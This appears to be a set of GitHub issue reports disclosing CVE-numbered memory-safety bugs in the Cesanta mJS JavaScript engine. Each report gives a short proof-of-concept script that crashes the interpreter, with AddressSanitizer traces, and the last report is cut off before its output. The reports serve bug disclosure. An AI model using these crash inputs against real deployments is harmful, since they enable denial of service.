Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_execute at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS).

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function JSEtest() {
        let arr = [1];
        arr.splice((arr.splice(0, 17)= [1])= [1])= [1]
    }
    JSEtest();
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==23867==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55dcd2425950 bp 0x000000000000 sp 0x7fff558e7b00 T0)
==23867==The signal is caused by a READ memory access.
==23867==Hint: address points to the zero page.
    #0 0x55dcd242594f in mjs\_execute src/mjs\_exec.c:823
    #1 0x55dcd2430a05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #2 0x55dcd2430a05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #3 0x55dcd23ed909 in main src/mjs\_main.c:47
    #4 0x7f63f4c54b96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #5 0x55dcd23ee449 in \_start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs\_exec.c:823 in mjs\_execute

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46530: SEGV src/mjs_exec.c:823 in mjs_execute · Issue #206 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_get_cstring at src/mjs_string.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function JSEtest(a) {
      (typeof((typeof"cookie-present" !== gc("$$abcdabcd")) !== function() {
          return 100;
        })) !== function() {
          return 100;
        };
    
      if ("cookie-present" !== gc("$$abcdabcd"))
        gc(true);
    
      if (a < 10)
        load(gc(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp'])));;
    
      if (a < 1)
        JSEtest(a+1);;
    }
    JSEtest(0)
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000000203 at pc 0x5581d25fa021 bp 0x7ffff5880770 sp 0x7ffff5880760
READ of size 1 at 0x60f000000203 thread T0
    #0 0x5581d25fa020 in mjs\_get\_cstring src/mjs\_string.c:213
    #1 0x5581d253f5aa in mjs\_load src/mjs\_builtin.c:58
    #2 0x5581d2559244 in mjs\_execute src/mjs\_exec.c:853
    #3 0x5581d2562a05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #4 0x5581d2562a05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #5 0x5581d251f909 in main src/mjs\_main.c:47
    #6 0x7f20b4fd4b96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x5581d2520449 in \_start (/usr/local/bin/Gmjs+0xe449)

Address 0x60f000000203 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs\_string.c:213 in mjs\_get\_cstring
Shadow bytes around the buggy address:
  0x0c1e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1e7fff8000: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c1e7fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x0c1e7fff8020: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
  0x0c1e7fff8030: 00 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa
=\>0x0c1e7fff8040:\[fa\]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46527: Heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring · Issue #197 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_array_length at src/mjs_array.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (function () {
      ((function JSEtes(a) {
        if ((a - 1)) {
          if ((isNaN)(JSON.stringify([])) !== JSON.stringify("start_port" !== [Object.create.apply({}, [Object])])) {
            JSEtes(a - 1)
          }
        }
      })(6))
    })()
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
==109503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000150 at pc 0x55d8ef005f6d bp 0x7ffe7d357b00 sp 0x7ffe7d357af0
READ of size 8 at 0x607000000150 thread T0
    #0 0x55d8ef005f6c in mjs\_array\_length src/mjs\_array.c:83
    #1 0x55d8ef005f6c in mjs\_array\_push src/mjs\_array.c:115
    #2 0x55d8ef027dd8 in mjs\_execute src/mjs\_exec.c:679
    #3 0x55d8ef034a05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #4 0x55d8ef034a05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #5 0x55d8eeff1909 in main src/mjs\_main.c:47
    #6 0x7f6cb8331b96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x55d8eeff2449 in \_start (/usr/local/bin/Gmjs+0xe449)

0x607000000150 is located 0 bytes to the right of 80-byte region \[0x607000000100,0x607000000150)
allocated by thread T0 here:
    #0 0x7f6cb89e3d28 in \_\_interceptor\_calloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55d8ef0527be in gc\_new\_block src/mjs\_gc.c:94
    #2 0x55d8ef0527be in gc\_alloc\_cell src/mjs\_gc.c:133
    #3 0x55d8ef0527be in new\_object src/mjs\_gc.c:45

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs\_array.c:83 in mjs\_array\_length
Shadow bytes around the buggy address:
  0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x0c0e7fff8010: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
\=>0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 00\[fa\]fa fa fa fa fa
  0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46519: Heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length · Issue #194 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via c_vsnprintf at mjs/src/common/str_util.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_CLANG=clang
$(DOCKER\_CLANG) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((JSON.parse - 6. + 4321e2)([([JSON.parse(JSON.stringify([(0)]))])]));
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
==61818==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064c54a at pc 0x0000005ea260 bp 0x7fff3bbcc940 sp 0x7fff3bbcc938
WRITE of size 4 at 0x00000064c54a thread T0
    #0 0x5ea25f in c\_vsnprintf /root/mjs/src/common/str\_util.c:180:14
    #1 0x55178f in mjs\_exec\_internal /root/mjs/src/mjs\_exec.c:1073:5
    #2 0x552d2d in mjs\_exec\_file /root/mjs/src/mjs\_exec.c:1096:11
    #3 0x5821d3 in main /root/mjs/src/mjs\_main.c:47:11
    #4 0x7f1016453b96 in \_\_libc\_start\_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #5 0x41a2c9 in \_start (/usr/local/bin/mjs+0x41a2c9)

0x00000064c54a is located 54 bytes to the left of global variable '<string literal>' defined in 'src/mjs\_util.c:125:7' (0x64c580) of size 15
  '<string literal>' is ascii string 'src/mjs\_util.c'
0x00000064c54b is located 0 bytes to the right of global variable '<string literal>' defined in 'src/mjs\_util.c:120:30' (0x64c540) of size 11
  '<string literal>' is ascii string '  %-3u %-8s'
SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/common/str\_util.c:180:14 in c\_vsnprintf
Shadow bytes around the buggy address:
  0x0000800c1850: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
  0x0000800c1860: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
  0x0000800c1870: 06 f9 f9 f9 f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9
  0x0000800c1880: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
  0x0000800c1890: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
=\>0x0000800c18a0: 00 04 f9 f9 f9 f9 f9 f9 00\[03\]f9 f9 f9 f9 f9 f9
  0x0000800c18b0: 00 07 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
  0x0000800c18c0: 07 f9 f9 f9 f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9
  0x0000800c18d0: 00 02 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
  0x0000800c18e0: 00 00 04 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9
  0x0000800c18f0: 02 f9 f9 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==61818==ABORTING

Credits: Found by OWL337 team.

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=60&v=4) hope-fly changed the title Global-buffer-overflow mjs/src/mjs\_string.c:58:15 in mjs\_mk\_string Global-buffer-overflow mjs/src/common/str\_util.c:180:14 in c\_vsnprintf

Dec 31, 2021

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46521: Global-buffer-overflow mjs/src/common/str_util.c:180:14 in c_vsnprintf · Issue #190 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_disown at src/mjs_core.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
DOCKER\_CLANG=clang
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))(((JSON.stringify - 6.24321e2) - 6.54321e2)(JSON.stringify([1, 2, 3])));
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000138 at pc 0x563a2f179088 bp 0x7fff18d361c0 sp 0x7fff18d361b0
READ of size 8 at 0x604000000138 thread T0
    #0 0x563a2f179087 in mjs\_disown src/mjs\_core.c:288
    #1 0x563a2f1c7b54 in mjs\_json\_parse src/mjs\_json.c:480
    #2 0x7fff18d3630f  (<unknown module>)

Address 0x604000000138 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs\_core.c:288 in mjs\_disown
Shadow bytes around the buggy address:
  0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff8000: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
  0x0c087fff8010: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=\>0x0c087fff8020: fa fa fa fa fa fa fa\[fa\]fa fa fa fa fa fa fa fa
  0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46518: Heap-buffer-overflow src/mjs_core.c:288 in mjs_disown · Issue #195 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via mjs_mk_string at mjs/src/mjs_string.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_CLANG=clang
$(DOCKER\_CLANG) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((JSON.stringify + 6.54321e2)(JSON.stringify([1, 2, 3])));
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064330b at pc 0x0000005b16f4 bp 0x7ffcd99733d0 sp 0x7ffcd99733c8
READ of size 8 at 0x00000064330b thread T0
    #0 0x5b16f3 in mjs\_mk\_string /root/mjs/src/mjs\_string.c:58:15
    #1 0x580796 in mjs\_op\_json\_stringify /root/mjs/src/mjs\_json.c:495:13
    #2 0x55178f in mjs\_exec\_internal /root/mjs/src/mjs\_exec.c:1073:5
    #3 0x552d2d in mjs\_exec\_file /root/mjs/src/mjs\_exec.c:1096:11
    #4 0x5821d3 in main /root/mjs/src/mjs\_main.c:47:11
    #5 0x7f43da272b96 in \_\_libc\_start\_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #6 0x41a2c9 in \_start (/usr/local/bin/mjs+0x41a2c9)

0x00000064330b is located 53 bytes to the left of global variable '<string literal>' defined in 'src/mjs\_builtin.c:140:21' (0x643340) of size 4
  '<string literal>' is ascii string 'ffi'
0x00000064330b is located 5 bytes to the right of global variable '<string literal>' defined in 'src/mjs\_builtin.c:138:21' (0x643300) of size 6
  '<string literal>' is ascii string 'print'
SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/mjs\_string.c:58:15 in mjs\_mk\_string
Shadow bytes around the buggy address:
  0x0000800c0610: f9 f9 f9 f9 00 00 00 00 00 00 00 05 f9 f9 f9 f9
  0x0000800c0620: 00 06 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0000800c0630: 00 02 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0000800c0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000800c0650: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
=\>0x0000800c0660: 06\[f9\]f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
  0x0000800c0670: 00 04 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
  0x0000800c0680: 07 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
  0x0000800c0690: 03 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
  0x0000800c06a0: 04 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9
  0x0000800c06b0: 06 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==ABORTING

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46513: Global-buffer-overflow mjs/src/mjs_string.c:58:15 in mjs_mk_string · Issue #189 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x5361e. This vulnerability can lead to a Denial of Service (DoS).

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function D(i) {
        [i]
    }
    function A() {
        return D.apply - 1;
    }
    function JSEtest(i) {
        return A(i, 1, 2, 3);
    }
    JSEtest(0.2)(0.2)
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==76668==ERROR: AddressSanitizer: SEGV on unknown address 0x561aeef915ac (pc 0x561aeef9161f bp 0x0000000000a6 sp 0x7ffe3d8aa358 T0)
==76668==The signal is caused by a WRITE memory access.
    #0 0x561aeef9161e  (/usr/local/bin/mjs+0x5361e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x5361e)
==76668==ABORTING

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46528: SEGV (/usr/local/bin/mjs+0x5361e) · Issue #208 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function JSEtest(a) {
      let arr = ['prototype'.indexOf(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp']))];
    
      if (a < 10)
        JSEtest(a + 1);
    }
    JSEtest(0);

​

**Execution steps & Output**

$ ./mjs/build/mjs poc.js

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x7fabea0b7f54 bp 0x7ffdfc32c250 sp 0x7ffdfc32b9f8
READ of size 19 at 0x60b0000000ab thread T0
    #0 0x7fabea0b7f53  (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xaff53)
    #1 0x55e0e1aa2ff6 in mg\_strstr src/common/mg\_str.c:154
    #2 0x55e0e1a6c363 in mjs\_string\_index\_of src/mjs\_string.c:366
    #3 0x55e0e19c5244 in mjs\_execute src/mjs\_exec.c:853
    #4 0x55e0e19cea05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #5 0x55e0e19cea05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #6 0x55e0e198b909 in main src/mjs\_main.c:47
    #7 0x7fabe9a34b96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #8 0x55e0e198c449 in \_start (/usr/local/bin/Gmjs+0xe449)

0x60b0000000ab is located 0 bytes to the right of 107-byte region \[0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
    #0 0x7fabea0e6f30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x55e0e1a9d346 in mbuf\_resize src/common/mbuf.c:50

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xaff53)
Shadow bytes around the buggy address:
  0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
\=>0x0c167fff8010: 00 00 00 00 00\[03\]fa fa fa fa fa fa fa fa fd fd
  0x0c167fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46522: Heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53) · Issue #196 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap-use-after-free via mjs_apply at src/mjs_exec.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function T(f) {}
    function JSEtest(b) {
      T.apply.apply(T.apply, []);
    
      if (b < 10)
        JSEtest(T.apply, []);
    }
    JSEtest(0);
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
